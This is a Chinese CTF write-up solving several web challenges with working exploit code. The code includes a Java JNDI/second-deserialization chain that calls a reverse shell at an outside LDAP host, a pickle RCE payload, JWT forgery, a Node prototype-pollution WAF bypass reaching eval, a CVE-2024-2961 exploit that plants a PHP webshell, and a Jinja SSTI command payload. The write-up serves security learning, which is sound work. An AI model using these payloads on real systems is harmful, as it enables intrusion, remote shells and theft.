LookUP-pcb2024
下载附件,看源代码和题目名称就是打jndi
然后题目给出了相关的类
触发hashcode,然后到eval,看到eval代码
发现就是jndi,而且jdk也是低版本,可以打ldap
构造链子,但是有waf
二次反序列化就可以绕过
构造链子,二次反序列化的链子网上一堆,然后需要拼接一下本题的
import com.backdoor.classes.hello;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.*getDefault*();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.*currentThread*().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception var11) {
}
Class<?> cls = Class.*forName*("com.backdoor.classes.hello");
Constructor<?> constructor = cls.getDeclaredConstructor();
constructor.setAccessible(true);
hello obj = (hello) constructor.newInstance();
*setFieldValue*(obj,"name","ldap://49.232.222.195:1389/Basic/ReverseShell/49.232.222.195/2333");
HashMap hashMap1=*makeMap*(obj,obj);
KeyPairGenerator kpg = KeyPairGenerator.*getInstance*("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.*getInstance*("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
*setFieldValue*(val, "val", node);
System.*out*.println(*serial*(val));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.*getEncoder*().encodeToString(baos.toByteArray());
return base64String;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
*setFieldValue*(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.*forName*("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.*forName*("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class,
nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.*newInstance*(nodeC, 2);
Array.*set*(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.*set*(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
*setFieldValue*(s, "table", tbl);
return s;
}
}
刚开始以为题目不出网,然后dns了一下
是出网的,然后就直接用工具起个服务了
然后发送paylaod
得到flag
ez_python
爆破得到 test/123456 用户密码,
登录后提示不是管理员,需要进行 jwt 伪造,进行 token 爆破得到 key 为 a123456,然后进行伪造 jwt
然后提示
访问路由 /ser 得到
猜测 pickle 反序列化,参数测试为 pikcled,但是没有回显,不过存在报错,利用报错进行回显。最后构造
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
a = A()
b = pickle.dumps(a)
print(base64.urlsafe_b64encode(b))
最后报错得到 flag
notadmin
下载附件得到源码:
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());
const tmp_user = {}
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}
console.log(tmp_user.secretKey)
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};
app.get('/login', (req, res) => {
res.render('login')
});
app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});
app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
然后本地简单调试发现可以通过 json 传的参数进行 tmp_user
的属性赋值,比如传参
{"secretKey":"123",
"code":"console.log(111)",
"username":"admin",
"password":"admin"}
所以可以自己设定 key 值伪造 jwt 进入到 eval 方法,jwt 伪造脚本
const jwt = require('jsonwebtoken');
const token=jwt.sign({ username: "admin" }, "123");
console.log(token)
然后带上验证 token 访问根路由
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTQzNjM3fQ.aos0yojwQZsZKEfMhVeLEcDJg4DIZepdfDiLZRniNcM
emm,能执行但是没有回显,然后还需要绕过 waf,过滤了一些命令执行函数
input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
利用 Reflect.get
进行绕过中括号和关键字,Reflect.get(target, propertyKey[, receiver])
的作用是获取对象身上某个属性的值,类似于 target[name]
Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))('global.process.mainModule.constructor._load("child_process").execSync("calc")')
eval 部分利用编码绕过,base64 编码需要注意不要有 >
会被编码为 +
号,尝试外带无果,最后把 flag 写到 public 目录下
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjYXQgL2ZsYWd8dGVlIC4vcHVibGljL2xvZ2luLmpzIik=`,`ba`.concat(`se64`)).toString())
最后得到 flag
fileread
开题一个简单的反序列化链,
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
}
}
$aaa=new cls1();
$aaa->cls= new cls2();
$aaa->arr=array('fileput');
$aaa->cls->filename="/etc/passwd";
echo base64_encode(serialize($aaa));
发现可以任意文件读取
但是 file_get_contents
无法直接利用伪协议进行 rce,想到 cve-2024-2961 可以直接文件读取提升为 rce。
github 链接:https://github.com/ambionics/cnext-exploits
下载后更改关键部分代码
def send(self, path: str) -> Response:
path1 = 'O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:' + str(len(path)) + ':"' + path + '";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:0;s:7:"fileput";}}'
path2 = b64(path1.encode()).decode()
url = self.url+f"?ser={path2}"
return self.session.get(url)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
""" path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
return base64.decode(data)
然后执行
python basectf.py http://192.168.18.24/ "echo '<?=@eval(\$_POST[111]);?>' > shell.php"
看到成功执行了,访问一句话木马执行命令得到 flag
python 口算
开题:
需要在 1 秒内进行计算,拷打 gpt 写个脚本
import time
import requests
import re
url = 'http://192.168.18.28/'
def get():
try:
response = requests.get(url + 'calc')
response.raise_for_status()
expression = re.search(r'([\d+\-*/() .]+)', response.text)
if expression:
return expression.group(1)
else:
return None
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
def exc(expression):
try:
result = eval(expression)
return result
except Exception as e:
return None
def anser(result):
try:
url1=url+f'?answer={result}'
response = requests.get(url1)
response.raise_for_status()
print(f"{response.text}")
except requests.RequestException as e:
print(f"{e}")
def main():
while True:
expression = get()
if expression:
print(f"{expression}")
result = exc(expression)
if result is not None:
print(f"{result}")
anser(result)
else:
print("计算失败,跳过此次提交")
if __name__ == '__main__':
main()
然后看到计算成功后给了个路由
访问路由得到残缺的源码
@app.route('/')
def index(solved=0):
global current_expr
# 前端计算
.....
.....
# 通过计算
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")
看到可以传入 username 参数存在 ssti,基本没有 waf 直接进行命令执行即可
`
{"username":"{{cycler.next['__globals__'].__builtins__.__import__('os').popen('\\143\\141\\164\\40\\57\\146\\154\\141\\147').read()}}"}
最后得到 flag